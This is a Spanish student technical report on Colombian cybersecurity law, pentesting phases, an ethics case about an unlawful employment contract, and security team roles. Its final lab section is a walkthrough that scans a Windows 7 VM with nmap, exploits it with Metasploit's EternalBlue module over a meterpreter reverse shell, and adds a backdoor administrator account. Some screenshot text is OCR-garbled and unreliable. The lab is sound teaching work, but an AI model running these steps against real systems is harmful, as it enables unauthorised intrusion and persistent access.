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Resumen

Este informe técnico profundiza en aspectos clave de la ciberseguridad, comenzando por
el marco legal colombiano. Se analiza la Ley 1273 de 2009 (Delitos Informaticos), la Ley 1581
de 2012 (Proteccion de Datos Personales), el Decreto 1377 de 2013 y la Ley 1266 de 2008
(Habeas Data financiero), destacando su papel fundamental en la proteccién de la informacion.
Sin embargo, se enfatiza la necesidad urgente de que esta normativa evolucione para enfrentar
las amenazas cibernéticas modernas. Para fortalecer la seguridad del pais, se propone un enfoque
agil que combine legislacion actualizada, capacitacion constante, inversion tecnologica 'y
cooperacion internacional. El informe también aborda la metodologia de pentesting, describiendo
sus fases estandar: reconocimiento, explotacién, post-explotacién (mantenimiento del acceso) y
la elaboracion del informe. Se mencionan las herramientas utilizadas, como el sistema operativo
Kali Linux, Nmap para identificacion de red y Metasploit para explotacién de vulnerabilidades,
resaltando la importancia de la navegacion por el sistema de ficheros para comprometer sistemas
operativos obsoletos.

Ademas, el informe presenta un analisis de caso hipotético sobre las implicaciones éticas
y legales en acuerdos laborales, donde un contrato con clausulas ilegales y condiciones dudosas,
como la prohibicién de denunciar espionaje o la ocultacion de informacion ilicita, expone al
profesional de ciberseguridad a riesgos legales y reputacionales significativos, comprometiendo
su integridad y responsabilidad social. Finalmente, se definen las funciones esenciales de los Red
Teams, quienes simulan ataques para evaluar la efectividad de los mecanismos de defensa y la
capacidad de respuesta operativa. Los Blue Teams se identifican como la primera linea de
defensa activa, encargados de proteger la infraestructura tecnoldgica y mantener los controles de

seguridad. Por altimo, se describe el rol del Equipo de Respuesta a Incidentes (CSIRT), que



interviene tras un incidente de seguridad para minimizar su impacto, restaurar la operatividad y
aplicar las lecciones aprendidas para futuras mejoras en la defensa.
Palabras clave: Ciberseguridad, legislacion colombiana, Pentesting, Implicaciones éticas

y legales, Equipos de seguridad



Abstract

This technical report delves into key aspects of cybersecurity, starting with the
Colombian legal framework. It analyzes Law 1273 of 2009 (Computer Crimes), Law 1581 of
2012 (Personal Data Protection), Decree 1377 of 2013 and Law 1266 of 2008 (Financial Habeas
Data), highlighting their fundamental role in the protection of information. However, it
emphasizes the urgent need for these regulations to evolve in order to face modern cyber threats.
To strengthen the country's security, it proposes an agile approach that combines updated
legislation, constant training, technological investment and international cooperation. The report
also discusses the pentesting methodology, describing its standard phases: reconnaissance,
exploitation, post-exploitation (maintenance of access) and reporting. The tools used are
mentioned, such as the Kali Linux operating system, Nmap for network identification and
Metasploit for vulnerability exploitation, highlighting the importance of file system navigation
for compromising obsolete operating systems.

In addition, the report presents a hypothetical case analysis on the ethical and legal
implications of employment agreements, where a contract with illegal clauses and dubious
conditions, such as the prohibition to report espionage or the concealment of illicit information,
exposes the cybersecurity professional to significant legal and reputational risks, compromising
his or her integrity and social responsibility. Finally, the essential functions of Red Teams, who
simulate attacks to evaluate the effectiveness of defense mechanisms and operational response
capacity, are defined. Blue Teams are identified as the first line of active defense, in charge of
protecting the technological infrastructure and maintaining security controls. Finally, the role of

the Incident Response Team (CSIRT) is described, which intervenes after a security incident to



minimize its impact, restore operability and apply lessons learned for future defense
improvements.
Keywords: Cybersecurity, Colombian legislation, Pentesting, Ethical and legal

implications, Security equipment, Colombian law
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Glosario

Ataques de fuerza bruta

En este tipo de ataque, se prueba metddicamente cada posible combinacion de caracteres
para una contrasefia hasta que se encuentra la correcta, logrando asi el acceso no autorizado a un
sistema.
Blue Team

También llamado equipo de defensa o de seguridad, tiene la importante tarea de
salvaguardar los sistemas y redes informaéticas de una empresa frente a los ataques cibernéticos.
Son los encargados de proteger activamente la infraestructura digital de una organizacion.
Delito Informatico

Los delitos informaticos, conocidos también como ciberdelitos, son simplemente
acciones ilegales realizadas a través de la tecnologia y las comunicaciones. En otras palabras, es
cuando alguien utiliza computadoras, internet o cualquier otro medio digital para cometer un
crimen.
Equipos de respuestas

También conocidos como CSIRT, son grupos de ciberseguridad que gestionan y mitigan
incidentes de seguridad desde su deteccion hasta la recuperacion total. Su rol es crucial para
proteger los sistemas y datos de una organizacion.
Exploit

Es un programa o codigo malicioso creado especificamente para aprovechar una
debilidad o fallo de seguridad en un sistema informatico, una aplicacion o un dispositivo. Su
objetivo es conseguir acceso sin permiso, ejecutar comandos o llevar a cabo acciones que no son

deseadas por el usuario.



Firewall

Un firewall funciona como un guardian de seguridad que se encarga de proteger una red
0 un sistema informatico, impidiendo que personas o programas no autorizados puedan entrar.
Intrusion

Una intrusion ocurre cuando alguien logra entrar o acceder sin permiso a un sistema
informatico, una red o un dispositivo.
Red Team

Es un equipo de expertos en ciberseguridad que actla como si fuera un atacante, ya sea
desde fuera o desde dentro de una organizacidn. Su mision es simular ataques reales para
encontrar debilidades y evaluar qué tan segura es la empresa.
Seguridad de la Red

La seguridad de la red engloba todas las acciones y reglas establecidas para proteger una
red informatica de posibles peligros y ataques digitales.
Vulnerabilidad

En la seguridad de la red, una vulnerabilidad es como un punto débil o un defecto en un
sistema, una aplicacién o en la infraestructura. Los atacantes pueden aprovechar esta falla para

poner en riesgo la seguridad, acceder a informacion privada o causar dafos.
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Introduccion

En un mundo donde cada vez dependemos mas de la tecnologia, la ciberseguridad se
vuelve crucial para proteger nuestros datos y mantenernos seguros en linea. Para enfrentar los
constantes desafios digitales, es fundamental contar con profesionales especializados, y aqui
entran en juego los Red Teams y Blue Teams.

Estos equipos de élite simulan un verdadero "juego de guerra™: el Red Team actla como
atacante, buscando y explotando vulnerabilidades en la red y los sistemas, mientras que el Blue
Team se encarga de defender, protegiendo proactivamente la infraestructura y los datos de la
organizacion. Juntos, no solo fortalecen la seguridad actual, sino que también aprenden
constantemente sobre las nuevas y futuras tacticas de los ciberdelincuentes, ofreciendo una

vision completa para adelantarse al sabotaje de la informacion.
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Objetivos

Objetivo General

Comprender las estrategias de proteccion y respuesta ante amenazas cibernéticas
mediante el analisis de la legislacion colombiana en ciberseguridad, las etapas y herramientas del
pentesting, y las implicaciones éticas y legales asociadas a acuerdos laborales
Objetivos Especificos

Analizar el marco legal colombiano referente a la proteccion de datos y delitos
informaticos, subrayando su evolucion y la necesidad de una adaptacion constante ante las
amenazas digitales modernas.

Describir las etapas del pentesting y las herramientas clave utilizadas en cada una,
identificando su aplicacion en la deteccion y explotacion de vulnerabilidades.

Identificar las implicaciones éticas y legales en acuerdos laborales y su impacto en la
responsabilidad profesional.

Ejecutar un laboratorio de ataque controlado informatico en tiempo real y, basandose en
el analisis de las vulnerabilidades identificadas, y proponer medidas de hardenizacion especificas

para fortalecer la postura de seguridad.
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Desarrollo del informe

Marco Legal de Ciberseguridad en Colombia

Evolucion y Normativa Clave la legislacion colombiana en ciberseguridad representa una
base importante, pero su continua y rapida evolucién es crucial para hacer frente a las amenazas
cibernéticas modernas. El vertiginoso avance tecnoldgico a menudo supera el ritmo de la
creacion de leyes, lo que demanda un enfoque mas agil, preventivo y transversal. Este enfoque
debe integrar la legislacion, la capacitacion, la inversion publica y la cooperacién internacional
para garantizar una proteccion efectiva.
Ley 1273 de 2009

Delitos Informaticos Esta ley surgié como una respuesta directa a los desafios de la era
digital, buscando proteger la informacion que manejamos diariamente. La Ley 1273 de 2009
actualizé el Cddigo Penal colombiano para sancionar conductas como el acceso no autorizado a
sistemas informaticos, la interceptacion de datos, el dafio informatico, el uso de software
malicioso y la violacion de la privacidad de los datos personales. En esencia, esta normativa
reconoce la informacién y los datos como bienes de alto valor, merecedores de una proteccion
legal clara y contundente frente a las amenazas digitales. (Congreso de Colombia, 2009)
La Ley 1581 de 2012

Se promulgé para salvaguardar la informacién personal de los ciudadanos colombianos,
asegurando su manejo responsable tanto en entidades publicas como privadas. Esta norma
garantiza el derecho de cada individuo a conocer, actualizar y corregir sus datos personales,
estableciendo principios esenciales como la legalidad, la finalidad del uso, la libertad del titular,
la veracidad, el acceso y la circulacion restringida de la informacion. Ademas, exige a quienes

recolectan y utilizan datos personales asumir responsabilidades claras y contar con la
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autorizacion expresa de los titulares. También introduce la figura del Habeas Data, una
herramienta legal que permite a cualquier ciudadano defender su privacidad y exigir respeto por
su informacion. (Congreso de Colombia, 2012)
El Decreto 1377 de 2013

Fue creado para facilitar la aplicacion practica de la Ley 1581 de 2012. Este decreto
clarifica como las organizaciones deben obtener el consentimiento de las personas para usar su
informacidn, especialmente en el caso de bases de datos preexistentes a la entrada en vigor de la
ley. Asimismo, establece medidas concretas para garantizar la seguridad de los datos y exige que
las entidades implementen politicas claras sobre su tratamiento, junto con mecanismos accesibles
para que los ciudadanos puedan ejercer sus derechos sobre su informacidn personal. (Presidencia
de la Republica de Colombia, 2013)
Ley 1266 de 2008Habeas Data Financiero

Conocida como la ley de Habeas Data financiero, la Ley 1266 de 2008 tiene como
objetivo proteger la informacion personal relacionada con la vida crediticia, comercial y
financiera de los ciudadanos. Esta norma asegura que las personas tengan control sobre el uso de
su historial crediticio, permitiéndoles consultarlo, corregirlo y solicitar su actualizacion. Ademas,
establece que los reportes negativos no pueden permanecer indefinidamente, promoviendo la
posibilidad de una segunda oportunidad financiera. También impone a las entidades la
responsabilidad de manejar esta informacidn con veracidad y cuidado, evitando su uso indebido
o0 perjudicial para el titular. (Ley 1266 de 2008. Congreso de Colombia. (Congreso de Colombia,

2008)
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Las Fases del Pentesting
Reconocimiento

Esta fase inicial se centra en la recopilacion de informacion sobre el objetivo. Se busca
conocer el entorno sin interactuar directamente con los sistemas (reconocimiento pasivo) o con
interaccion controlada (reconocimiento activo). Se recogen datos como nombres de dominio,
direcciones IP, registros DNS, correos electronicos o estructuras de la organizacion.
Escaneo

Una vez obtenida la informacion basica, se procede a un escaneo técnico del objetivo. El
objetivo es descubrir puertos abiertos, servicios activos y versiones de software. Esta fase es
clave para identificar posibles puntos débiles que se podrian explotar méas adelante.
Enumeracién y Analisis de Vulnerabilidades

En esta etapa se profundiza en la informacion recopilada para identificar vulnerabilidades
conocidas en los servicios detectados. Aqui se establece la conexion entre las versiones de
software y los fallos de seguridad ya identificados
Explotacion

Esta es la fase critica del pentesting. Aqui se intenta aprovechar las vulnerabilidades
descubiertas para obtener acceso no autorizado al sistema. El atacante podria ejecutar cddigo
malicioso, escalar privilegios o extraer datos sensibles
Post-Explotacion (Mantenimiento del Acceso)

Una vez que se ha logrado el acceso al sistema, esta fase se enfoca en mantener el control
sin ser detectado. Se evalUa el impacto real del acceso y la capacidad de moverse lateralmente
dentro de la red.

Informe (Analisis y Reporte)
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La fase final consiste en la documentacion detallada y profesional de todos los hallazgos.
El informe debe incluir las vulnerabilidades detectadas, las pruebas de acceso, el nivel de riesgo
asociado y las recomendaciones para mitigar los problemas encontrados.

Analisis ético y legal de un acuerdo laboral en el contexto de la ciberseguridad

Este informe técnico examina con detenimiento un caso que expone serias irregularidades
éticas y legales dentro de un proceso de contratacion en el sector de ciberseguridad, asi como las
implicaciones de un caso real de ciberespionaje corporativo. Ambos escenarios ponen en
evidencia practicas que vulneran no solo la legislacion colombiana, sino también los principios
fundamentales de la ética profesional.

Durante el andlisis de un acuerdo laboral se identificaron multiples deficiencias que
comprometen su validez legal y ética. El contrato fue elaborado por un abogado con
antecedentes cuestionables, y no cont6 con una revision adecuada por parte de la gerencia, lo que
genera dudas sobre su legitimidad. A esto se sumd la presidn ejercida sobre los aspirantes para
firmarlo sin que existieran garantias claras, en un contexto donde ademas se utilizaban pruebas y
condiciones evaluativas poco éticas, como el acceso a informacion interna de la empresa sin
respaldo legal o normativo.

De forma alarmante, uno de los anexos (Anexo 3) contenia clausulas que violaban
directamente disposiciones de la Ley 1273 de 2009, la cual penaliza los delitos informaticos en
Colombia. Estas clausulas incluian la prohibicién de reportar actividades sospechosas como
espionaje o apropiacion indebida de informacion; la obligacion de mantener en secreto datos
obtenidos ilegalmente (como interceptaciones o “chuzadas”); y una exoneracion total de

responsabilidad penal para la empresa contratante.
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En términos juridicos, tales estipulaciones transgreden articulos fundamentales de la ley

mencionada, entre ellos:

o Art. 269A: Acceso abusivo a un sistema informatico.

. Art. 269C: Interceptacion de datos informaticos.

o Art. 269E: Uso de software malicioso.

o Art. 269F: Violacion de datos personales.

o Art. 269G: Suplantacidon de sitios web para capturar informacion.

Desde una perspectiva ética y profesional, aceptar un cargo bajo estas condiciones
representa una amenaza para la integridad del profesional, va en contra de la responsabilidad
social que implica la ciberseguridad, y expone al trabajador a riesgos legales y reputacionales
considerables.

De acuerdo con el caso de estudio de CyberFort Technologies, una empresa contratada
para auditar sistemas de comunicacion gubernamentales que incurrié en acceso no autorizado a
informacidn sensible, la cual fue luego comercializada en la darknet. Esta accidn, ademas de
ilegal, constituye una grave violacion ética, al quebrantar la confianza del cliente y traicionar los
principios fundamentales de la ciberseguridad. Entre las irregularidades detectadas se incluyen el
uso indebido de datos, violacion contractual, abuso de capacidades técnicas y un doble discurso
frente a los organismos de control.

Para prevenir situaciones similares, se recomienda limitar contractualmente el acceso a la
informacion, establecer clausulas de confidencialidad robustas, reforzar los mecanismos de
trazabilidad y control, y exigir compromisos éticos al personal involucrado. Ante casos
confirmados, se sugiere rescindir contratos, iniciar acciones legales, implementar auditorias

externas y fortalecer la cooperacion con entidades de ciberdefensa. Estos incidentes no solo
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comprometen la seguridad digital, sino que también generan consecuencias estratégicas y

politicas de alto impacto, afectando la confianza institucional y la soberania tecnoldgica.

Laboratorio de Simulacion de Ataque Controlado.
Figura 1

Software Virtualbox con el Banco de Trabajo

§ Orace VM Vtusifior Adrminitrador - a
Ao Migina Aysda
G Mo

= previsualzacdn

kali-linux-2025.1c-
virtualbox-amdé4

£515eq.08

7] win7-5E2020 X64
© roagecs

I kab-linux-2025.1c-virtualbox-amd64
(&) Aososda

Controlador de anfitién: Windows DirectSound
Controlador 104 ACS7

& Red
‘Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, sintef{K) Cusl Sand Wirsless-AC £265%)

Nota. Se crearon dos maquinas virtuales (Windows y Kali Linux) para simular un escenario de

ataque y defensa.

Figura 2

Direccion Ip Méaquina Virtual con Windows

1w

Be oalml o = |

Nota. Se observa que la maquina con el OS Windows tiene una ip 192.168.1.81.
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Figura 3.

Direccion Ip Maquina Virtual con Kali Linux y Prueba de Ping Hacia la Maquina con Windows.

il Kali-linux-2025.1c-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada Dispositivos Ayuda

B omPodF)| 2 3 | = O ¢ a Be | & o

File Actions Edit View Help

t 192.168.1.255
peid ©0x20<link>

TX packets 50 bytes
TX errors 0 dropped 0 o

lo: flags=73<UP,LOOPBACK, RUNNING
inet 127.0.0.1 netmask
inet6 ::1 prefixlen
o txqueuelen 1
X ckets 8 byte
X errors @ dropped rruns
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

E 192.
PING 192.168.
64 bytes from 19:
64 bytes from 19:
64 bytes from 19.

q=6 tt1=128 t

cmp_seq=7 ttl=128 t

64 bytes from 19: 7 cmp_seq=8 ttl=128 t
64 bytes from 192.168.1.8 cmp_seq=9 ttl=128 time

C

Nota. Se realiza una prueba de conexion entre las dos maquinas mediante el comando ping.

Nmap (Network Mapper)

Es una herramienta de codigo abierto fundamental en las pruebas de penetracion. En la
fase de escaneo, permite detectar equipos y servicios en una red al enviar paquetes especificos y
analizar sus respuestas. Su capacidad para localizar puertos disponibles, reconocer sistemas
operativos e identificar posibles vulnerabilidades lo convierte en un recurso indispensable para
los equipos Red Team. (NMAP Network Scanning, 2024).
Nmap 192.168.1.0/24

Se realiza para un escaneo del segmento de red, se identifico una maquina con Windows
7 en la direccion IP 192.168.1.81. Este andlisis revelo que el equipo tiene varios puertos TCP
abiertos, incluyendo el puerto 80 (HTTP para trafico web), 135 (Microsoft RPC), 139 (NetBIOS

Session Service para compartir archivos en redes antiguas), 445 (SMB para compartir recursos
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en Windows modernos), 554 (RTSP para streaming), 2869 (UPnP para configuracion de
dispositivos), 5357 (WSDAPI para descubrimiento de dispositivos), 10243 (Windows Media
Player Network Sharing), y el rango dinamico 49152-49157 (RPC y otros servicios de
Windows). Ademas, se encontraron puertos especificos como 2179 (Hyper-V RDP), 3306
(MySQL), 3389 (RDP para control remoto), y 5800/5900 (VNC para acceso remoto).
Figura 4.

Escaneo de la Red — Nmap 192.168.1.0/24

~

192.168.1.81
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 17:55 EDT
Nmap scan report for 192.168.1.81
Host is up (0.0011s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp  open http
135/tcp  open msrpc
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
554/tcp  open rtsp
2869/tcp open icslap
5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 08:00:27:92:80:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds

Nota. Se escaneo todo el segmento 192.168.1.0 y se logro observar los puertos de la maquina con

Windows.
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Para obtener informacion mas detallada acerca de los puertos detectados en la maquina,
se procede a la ejecucion del siguiente comando.
Nmap -sV -sC 192.168.1.81

Este comando se utiliza para escanear la maquina con la direccién IP 192.168.1.81. Su
propdsito es no solo identificar los puertos que estan abiertos, sino también detectar qué servicios
Se encuentran activos en esos puertos y, si es posible, reconocer vulnerabilidades conocidas
asociadas a dichos servicios.

Este comando no solo brinda informacion detallada sobre el uso de los puertos, sino que
también identifica el sistema operativo como Windows 7 Professional Service Pack 1y confirma
que la maquina forma parte del grupo de trabajo WORKGROUP.

Figura 5.

Escaneo de la Maquina Windows — Nmap -sV -sC 192.168.1.81.

192.168

nmap.org ) at 2025-05-03 17:59 EDT
81

L o (reset)

STATE SERVICE VERSION

open http HttpFileServer httpd 2.3
der: 2L

crosoft Wind PC
Mi soft wind etbios-ssn
ows 7 Prof nal 7601 Service Pack 1 micr

ft HTTPAPI httpd 2.0 (SSDP/UPnP)
ft HTTPAPI httpd 2.0 (SSDP/UPnP)
crosoft-HTTPAPL/2.0

Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

ws RPC

Microsoft
Microsoft
:92:80:C0 (PCS

Nota. Identificacién de versiones de la maquina.
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Nmap -sV --script vuln 192.168.1.81

Se identifican los siguientes ID de vulnerabilidades para su posterior explotacion: CVE-
2017-0143, CVE-2012-1182, CVE-2011-3192 y CVE-2007-6750

Figura 6.

Escaneo de la Maquina Windows — nmap -sV --script vuln 192.168.1.81.

NT_STATUS _ACCESS_DENIED

cution vulnerability in Microso SMBw (ms17-01@)

cution vulnerabilit ts in Microseoft S

hne
-mitr

tion per
IP add s (1 host up

PRIV JLu LLp puilto yaivouvury

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd

| http-vuln-cve2011-3192:

| VULNERABLE:

| Apache byterange filter DoS

| State: VULNERABLE

| IDs: BID:49303 CVE:CVE-2011-3192

| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.

| Disclosure date: 2011-08-19

| References:

| https://vwww.tenable.com/plugins/nessus/55976

| https://seclists.org/fulldisclosure/2011/Aug/175

| https://www.securityfocus.com/bid/49303

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192

OWASP

_http-stor L =LY
_http-dombase (55 1 1 DomM
o i 1r

LNERABLE:

owloris DOS

ieb server open and hold
opening connections to
r doing so, it sta

E-2007-6750

Nota. Se identifican los siguientes ID de vulnerabilidades para su posterior explotacion: CVE-

2017-0143, CVE-2012-1182, CVE-2011-3192 y CVE-2007-6750.
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CVE-2017-0143 EternalBlue

Es una vulnerabilidad critica que reside en la forma en que las versiones antiguas de
Windows manejan el protocolo SMBV1. Este fallo permite a un atacante enviar paquetes
maliciosos para obtener control total del sistema con privilegios de administrador. Su notoriedad
se dispard tras la filtracion por Shadow Brokers (supuestamente de la NSA), siendo clave en la
propagacion global de ransomware como WannaCry y malware como NotPetya, que causaron
dafos significativos en redes empresariales y gubernamentales. (Microsoft, 2017).
CVE-2012-1182 (FFmpeg Buffer Overflow)

Esta vulnerabilidad, identificada como un desbordamiento de bufer, afecta a la funcion
mpeg_decode_frame en la biblioteca FFmpeg. Al procesar archivos de video MPEG
maliciosamente manipulados, una aplicacion que use una version vulnerable de FFmpeg puede
sufrir corrupcién de memoria, ejecucion de codigo arbitrario o denegacién de servicio,
comprometiendo la estabilidad del sistema. (MITRE, 2012).

CVE-2011-3192 (Apache Range Header DoS)

Conocida como Apache Range Header DoS, esta vulnerabilidad afecta a las versiones
1.3, 2.0y 2.2 del servidor web Apache HTTP Server. Los atacantes pueden enviar solicitudes
HTTP con el encabezado Range modificado para solicitar multiples fragmentos superpuestos.
Esto consume recursos excesivos (CPU y memoria) del servidor, pudiendo llevarlo a fallar o
dejar de responder. Al no requerir autenticacidn previa, representa una amenaza seria para
numerosos servidores Apache en todo el mundo. (CVE Details, 2011).

CVE-2007-6750 (Apache HTTP Server Request Header Parsing Flaw)
Finalmente, la vulnerabilidad CVE-2007-6750 también afecta al servidor Apache HTTP

Server, originandose en un fallo al procesar ciertos encabezados de solicitudes entrantes. Los
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atacantes pueden enviar peticiones maliciosas que causan inestabilidad o saturacion del servidor,
resultando en una denegacion de servicio. Al igual que CVE-2011-3192, no requiere
autenticacion, lo que la convierte en una amenaza significativa para miles de sitios web y
servicios que dependen de Apache (CVE Details, 2007).

Metasploit

Es una herramienta de codigo abierto clave para profesionales de la ciberseguridad. Su
funcidn principal es permitir la creacion y ejecucién de ataques simulados en sistemas remotos
con el fin de descubrir vulnerabilidades. Gracias a su amplia gama de médulos (incluyendo post-
explotacion e ingenieria social), Metasploit es vital para emular ataques reales, lo que facilita a
los equipos de seguridad la identificacion y correccion de fallos antes de que sean explotados por
atacantes maliciosos. (Metasploit, 2025)

Msfdb Reinit. Este comando se usa para limpiar y restablecer la base de datos de
Metasploit a su estado original. Es una operacion potente que elimina permanentemente toda la
informacién almacenada, por lo que requiere precaucion al ejecutarla.

Figura 7.

Limpiar y Reiniciar la BD msfdb reinit

/home/kal1

reinit
[+] Starting database
[+] Deleting configuration file /usr/share/metasploit-framework/config/datab
ase.yml
[+] Stopping database
[+] Starting database
[+ Creating database user 'msf’

J
]
[+] Creating databases 'msf
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/data
base.yml'
[+] Creating initial database schema

Nota. comando para limpiar y reiniciar los servicios de la BD metasploit.



Figura 8.

Ingreso a Metasploit.

Nota. Ingreso a framework de Metasploit.

Dentro del framework utilizamos el comando de busqueda de las vulnerabilidades.

Figura 9.

Search CVE-2017-0143.

msf6 > search CVE-2017-0143
Matching Modules

#  Name Disclosure Date Rank
Check Description

0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 avera
ge Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target Y
2 \_ target: Windows
\_ target: Windows Embedded Standard 7

\_ target: Windows Server 2008 R2

\_ target: Windows 8

\_ target: Windows 8.1

\_.target: Windows Server 2012
\_'target: Windows 10 Pro
\_.target: Windows 10 Enterprise Evaluation
16 expléit/windows/smb/ms17_010_psexec 2017-03-14 norma

1 VYes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Code Execution

Nota. Busqueda y posibles explotaciones de la vulnerabilidad.
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Figura 10.

Search CVE-2012-1182.

msf6 > search CVE-2012-1182

Matching Modules

# Name Disclosure
Date Rank Check Description

0 exploit/linux/samba/setinfopolicy_heap 2012-04-10
normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overfl

\_ target: 2:3.5.11~dfsg-lubuntu2 on Ubuntu Server 11.10 .
.\_ targét: H :5.8~d¥sg-1ubuntu2 on Ubuntu Server 11.10

.\_ targét: : :5.8~dfsg71ubuntu2 on Ubuntu Server 11.04

'\, targét: : :5.h~dfsg—1ubuntu8 on Ubuntu Server 10.10

.\_ targét: :':5.6=dfsg—35queezee on Debian Squeeze

\_ target: 3.5.10-0.107.el5 on Cent0S 5

Interact with a module by name or index. For example info 6, e 6 or

After interacting with a module you can manually set a TARGET with set

Nota. Busqueda y posibles explotaciones de la vulnerabilidad.
Figura 11.

Search CVE-2011-3192.

msf6 > search CVE-2011-3192

Matching Modules

Disclosure Date Rank  Check Description

0 auxiliary/dos/http/apache_range_dos 2011-08-19 nomal No  Apache Range Header DoS (Apache Killer)
1\ action: CHECK . : . Check if target is vulnerable
2\ action: DOS : : . Trigger Denial of Service against target

Interact with a module by name or index. For example info 2, use 2 or !
After interacting with a module you can manually set a ACTION with set ACTION

Nota. Busqueda y posibles explotaciones de la vulnerabilidad.
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Figura 12.

Search CVE-2007-6750.

nsf6 > search CVE-2007-6750

Matching Modules

£ Name Disclosure Date Rank  Check Description

0 auxiliary/dos/nttp/slowloris 2009-06-17 normal No  Slowloris Denial of Service Attack

Interact with a module by name or index. For example info 0, use 0

Nota. Busqueda y posibles explotaciones de la vulnerabilidad.

Slowloris. Es una técnica de denegacion de servicio (DoS) que satura un servidor web.
Lo hace al establecer y mantener una gran cantidad de conexiones HTTP abiertas, enviando un
ritmo extremadamente lento. De esta forma, consume todos los recursos del servidor sin
necesidad de generar un gran volumen de trafico.datos a

Para explotar la vulnerabilidad CVE-2017-0143, utilizaremos el siguiente exploit de
Metasploit.

Use exploit/windows/smb/ms17_010 eternalblue

Ademas, se deben configurar los siguientes parametros para el ataque con el comando
options.

. set RHOSTS [192.168.1.81]

o set LHOST [192.168.1.82]

e  setLPORT [445]
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Figura 13.

Utilizacion del Exploit.

nsf6 > use exploit/windows/smb/ms17_010_eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

Nota. Se selecciono el exploit el cual sera utilizado dentro de la vulnerabilidad.
Figura 14.

Configuracion de los Parametros del Exploit, Ip Origen, Ip Destino y Puerto.

) > set rhosts 192.168.1.81
host 192.168.1.82
) lport 445
xploit( ) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
ent Setting Required Description
yes he ta metasploit/basics/using-metasploit.html
yes p:
no ¢ ) ain to use for authenti, . Only ts Windows 2008 R2, Windows 7, Windows Embedde
d 7 chines.
no 0 ) ord for the specified username
no Opti e username to authenticate as
c chitecture matches exploit Target. Only a s W rver 2, Windows 7, Windows Embedded St
chin
VERTFY_TARGET f remote 0S matches exploit Target. Only affects Windows Server R2, Windows 7, Win Embedded Standard 7 t
t machines.
Payload options (windows/x64/meterpret, p):
Name rent Setting Requi ription

EXITFUNC thread y Exit technique (Accepted: '‘, seh, thread, process, none)

Nota. Se agregaron los parametros del exploit.
Procedemos a iniciar el ataque mediante el comando run.
Figura 15.

Ejecucion del Exploit.

msf6 exploit( ) > run
tarted reverse TCP handler on 192.168.1.82:445
92.168.1.81: ing auxiliary/scanner/smb/smb_ms17_010 as check
i y VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-1
- Scanned 1 of 1 hosts (10 omplete)
The target is vulnerable.
Connecting to target for exploitation.
Connection established for exploitation.
Target 0S selected valid for indicated by SMB reply
CORE raw buffer 42 bytes
0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
0x00000010 7. 9 6f 6e 61 6Cc 20 20 53 65 72 76 sional 7601 Serv
0x00000020 69 63 65 20 50 61 63 ice Pack 1
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with Groom Allocations.
Sending all but last fragment of exploit packet

g SMBv1 connection creating free hole adjacent to SMBv2 buffer.
final SMBv2 buffers.
Sending last fragment of exploit packet!
ving respo from exploit packet
ETERNALBLUE overwrite completed succ 1ly (0xC000000D)!
Sending egg to corrupted connection.

es) to 192.168.1.81
(192 :

meterpreter

Nota. Se observa que la conexion con la maquina Windows se ha establecido exitosamente.
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Utilizamos el comando Shell para interactuar con el sistema operativo del destino y
whoami para mostrar la ruta del directorio actual.

Figura 16.

Uso de Comandos Shell y Whoami.

Nota. Se utiliza el comando Shell para interactuar con la maquina vulnerada.
Figura 17.

Usuarios Actuales de la Maquina Atacada.

i Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - X
rchivo  Maquna Ver Entrada Dispositivos  Ayuda
[E=EEnc~
@uv‘iﬂ ) Panel de control » Cuentas de usuario y proteccion infantil » Cuentas de usuario » Administrar cuentas + [ 4] [ Buscar en el Panet de control £
Elegir la cuenta que desee cambiar
| usuario
= Administrador
| Invitado
La cuenta de invitado est desactivada
Cre cuenta
& enta d
Act les que se pueden realizar
& Configurar Control parental
Irala pagina principal de Cuentas de usuario
e o G = e o gR
€@ = Ol | @ e (NGRSl

Nota. Se reviso los usuarios actuales del sistema.
Se creo el usuario administrador "JohanCastillo" utilizando el comando net user
JohanCastillo /add. Posteriormente, se agregé al grupo de administradores con el comando net

localgroup Administradores JohanCastillo /add.
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Figura 18.

Datos Actuales de la Maquina Atacada.

C:\Users>net user JohanCastillo /add
net user JohanCastillo /add
Se ha completado el comando correctamente.

C:\Users>net localgroup Administradores JohanCastillo /add
net localgroup Administradores JohanCastillo /add
Se ha completado el comando correctamente.

C:\Users>hostname
hostname
PC202006

C:\Users>date

date

La fecha actual es: 01/05/2025
Escriba la nueva fecha: (dd-mm-aa)

C:\Users>time
time
La hora actual es: 19:59:42,95

Nota. Se puede evidenciar los datos relevantes de la maquina victimay se crea el usuario
administrador.
Figura 19.

Evidencia de la Creacion del Usuario en la Maquina Atacada.

Q‘v 9 » Panel de control 1 Cuentas de usuarioy protecci » Cuentas » Administrar cuentzs

Invitado
La cuenta de mwitado esta desactivada

1

Accines adiconals que sepueden reakzar
§ Configuar C

E@ = ‘Q‘

Nota. validacién de la creacion del usuario JohanCastillo.

ii”;aw
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Figura 20.

Interaccion en la Maquina Atacada.

